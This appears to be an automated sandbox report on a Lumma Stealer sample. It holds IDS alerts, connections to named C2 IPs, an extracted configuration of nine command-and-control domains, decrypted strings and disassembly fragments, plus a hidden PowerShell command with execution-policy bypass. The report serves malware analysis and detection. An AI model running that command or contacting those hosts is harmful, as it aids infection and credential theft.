Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7760, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline", ProcessId: 6620, ProcessName: csc.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:33:13.149207+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	104.21.60.24	443	TCP
2024-12-27T22:33:13.151135+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	104.21.60.24	443	TCP
2024-12-27T22:33:13.174962+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	104.21.60.24	443	TCP
2024-12-27T22:33:15.295801+0100	2028371	3	Unknown Traffic	192.168.2.4	49749	104.21.60.24	443	TCP
2024-12-27T22:33:15.632826+0100	2028371	3	Unknown Traffic	192.168.2.4	49750	104.21.60.24	443	TCP
2024-12-27T22:33:15.637538+0100	2028371	3	Unknown Traffic	192.168.2.4	49751	104.21.60.24	443	TCP
2024-12-27T22:33:15.736647+0100	2028371	3	Unknown Traffic	192.168.2.4	49752	104.21.60.24	443	TCP
2024-12-27T22:33:17.800514+0100	2028371	3	Unknown Traffic	192.168.2.4	49755	104.21.60.24	443	TCP
2024-12-27T22:33:18.118672+0100	2028371	3	Unknown Traffic	192.168.2.4	49757	104.21.60.24	443	TCP
2024-12-27T22:33:20.468696+0100	2028371	3	Unknown Traffic	192.168.2.4	49759	104.21.60.24	443	TCP
2024-12-27T22:33:22.642716+0100	2028371	3	Unknown Traffic	192.168.2.4	49761	104.21.60.24	443	TCP
2024-12-27T22:33:25.368007+0100	2028371	3	Unknown Traffic	192.168.2.4	49762	104.21.60.24	443	TCP
2024-12-27T22:33:25.371664+0100	2028371	3	Unknown Traffic	192.168.2.4	49763	104.21.60.24	443	TCP
2024-12-27T22:33:27.646795+0100	2028371	3	Unknown Traffic	192.168.2.4	49764	104.21.60.24	443	TCP
2024-12-27T22:33:27.726911+0100	2028371	3	Unknown Traffic	192.168.2.4	49765	104.21.60.24	443	TCP
2024-12-27T22:33:30.225396+0100	2028371	3	Unknown Traffic	192.168.2.4	49766	104.21.60.24	443	TCP
2024-12-27T22:33:31.355502+0100	2028371	3	Unknown Traffic	192.168.2.4	49767	104.21.60.24	443	TCP
2024-12-27T22:33:33.056891+0100	2028371	3	Unknown Traffic	192.168.2.4	49768	104.21.60.24	443	TCP
2024-12-27T22:33:33.062072+0100	2028371	3	Unknown Traffic	192.168.2.4	49769	104.21.60.24	443	TCP
2024-12-27T22:33:35.300277+0100	2028371	3	Unknown Traffic	192.168.2.4	49770	104.21.60.24	443	TCP
2024-12-27T22:33:35.326498+0100	2028371	3	Unknown Traffic	192.168.2.4	49771	104.21.60.24	443	TCP
2024-12-27T22:33:37.378300+0100	2028371	3	Unknown Traffic	192.168.2.4	49772	104.21.60.24	443	TCP
2024-12-27T22:33:39.029433+0100	2028371	3	Unknown Traffic	192.168.2.4	49773	104.21.60.24	443	TCP
2024-12-27T22:33:39.529055+0100	2028371	3	Unknown Traffic	192.168.2.4	49774	104.21.60.24	443	TCP
2024-12-27T22:33:41.877377+0100	2028371	3	Unknown Traffic	192.168.2.4	49775	104.21.60.24	443	TCP
2024-12-27T22:33:45.407596+0100	2028371	3	Unknown Traffic	192.168.2.4	49776	104.21.60.24	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:33:13.917198+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49745	104.21.60.24	443	TCP
2024-12-27T22:33:14.145093+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49746	104.21.60.24	443	TCP
2024-12-27T22:33:14.156465+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49747	104.21.60.24	443	TCP
2024-12-27T22:33:16.406176+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49750	104.21.60.24	443	TCP
2024-12-27T22:33:16.410276+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49751	104.21.60.24	443	TCP
2024-12-27T22:33:16.504808+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49752	104.21.60.24	443	TCP
2024-12-27T22:33:18.579172+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49755	104.21.60.24	443	TCP
2024-12-27T22:33:32.419887+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49767	104.21.60.24	443	TCP
2024-12-27T22:33:39.826826+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49773	104.21.60.24	443	TCP
2024-12-27T22:33:46.187336+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49776	104.21.60.24	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:33:13.917198+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49745	104.21.60.24	443	TCP
2024-12-27T22:33:14.145093+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49746	104.21.60.24	443	TCP
2024-12-27T22:33:14.156465+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49747	104.21.60.24	443	TCP
2024-12-27T22:33:16.504808+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49752	104.21.60.24	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:33:16.406176+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49750	104.21.60.24	443	TCP
2024-12-27T22:33:16.410276+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49751	104.21.60.24	443	TCP
2024-12-27T22:33:18.579172+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49755	104.21.60.24	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:33:21.291774+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49759	104.21.60.24	443	TCP

ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:33:10.318916+0100	2800029	1	Attempted User Privilege Gain	147.45.44.131	80	192.168.2.4	49741	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:32:58.287929+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49732	149.154.167.220	443	TCP
2024-12-27T22:32:58.346022+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49731	149.154.167.220	443	TCP
2024-12-27T22:32:58.367886+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49730	149.154.167.220	443	TCP
2024-12-27T22:33:00.345165+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49733	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034
Source: C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034
Source: C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034
Source: C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 45.2.RegAsm.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["tentabatte.lat", "slipperyloo.lat", "wordyfindy.lat", "shapestickyr.lat", "bashfulacid.lat", "manyrestro.lat", "curverpluch.lat", "talkynicer.lat", "fivenaii.click"], "Build id": "VC6Dfm--TestOtctuk"}

Multi AV Scanner detection for submitted file

Source: iviewers.dll

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fivenaii.click
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: VC6Dfm--TestOtctuk

Source: iviewers.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.24:443 -> 192.168.2.4:49776 version: TLS 1.2

Source: iviewers.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.pdb source: powershell.exe, 0000001D.00000002.1831061949.0000000005814000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.pdb source: powershell.exe, 00000025.00000002.1915834227.0000000005718000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.pdb source: powershell.exe, 0000001B.00000002.1861999388.00000000056D5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: $^q7C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.pdb source: powershell.exe, 00000018.00000002.1835577839.0000000004D85000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6F957B70 FindFirstFileExW,		0_2_6F957B70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6F957C21 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		4_2_6F957C21

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\3D Objects
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Packages
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\CEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Mozilla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	45_2_00408A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ebx	45_2_00408600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	45_2_0042C850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push esi	45_2_0040C805
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	45_2_00422830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	45_2_0043C830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, ecx	45_2_004290D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042E0DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0041D8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0041D8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042C0E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ecx	45_2_0041B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ecx	45_2_0041B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebx	45_2_0041C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	45_2_0041C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	45_2_0041C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	45_2_0041C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0041D8AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0041D8AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	45_2_00441160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [00446130h]	45_2_00418169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	45_2_0042B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0042D17D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0042D116
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	45_2_004281CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	45_2_004289E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	45_2_0042B980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	45_2_0043C990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	45_2_004239B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	45_2_004239B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	45_2_0043CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	45_2_00421A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	45_2_00436210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edx	45_2_0043FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	45_2_0042AAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	45_2_0040AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	45_2_00440340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042D34A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0041C300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edx	45_2_0043FB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edx	45_2_0043FB2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edx	45_2_0043FB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	45_2_004073D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	45_2_004073D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	45_2_004283D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	45_2_0041EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, ebx	45_2_00427440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	45_2_00427440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	45_2_0042C465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042C465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	45_2_0040CC7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	45_2_0041747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [edx], di	45_2_0041747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	45_2_00414CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edx	45_2_0043FD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+61765397h]	45_2_0041B57D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	45_2_00440D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	45_2_00428528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ecx	45_2_00426D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	45_2_0043EDC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	45_2_0043CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	45_2_0043CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	45_2_0043CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	45_2_0043CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042DDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, ecx	45_2_0042A5B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_00422E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	45_2_00422E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	45_2_00422E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then dec edx	45_2_0043FE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	45_2_0042DE07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	45_2_004406F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, ecx	45_2_00429E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	45_2_00402EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	45_2_00427740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	45_2_00416F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, eax	45_2_0042BF13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [esp+28h]	45_2_00425F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	45_2_00441720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	45_2_00429739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	45_2_004237D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esp+20h], eax	45_2_00409780

Networking

Suricata IDS alerts for network traffic

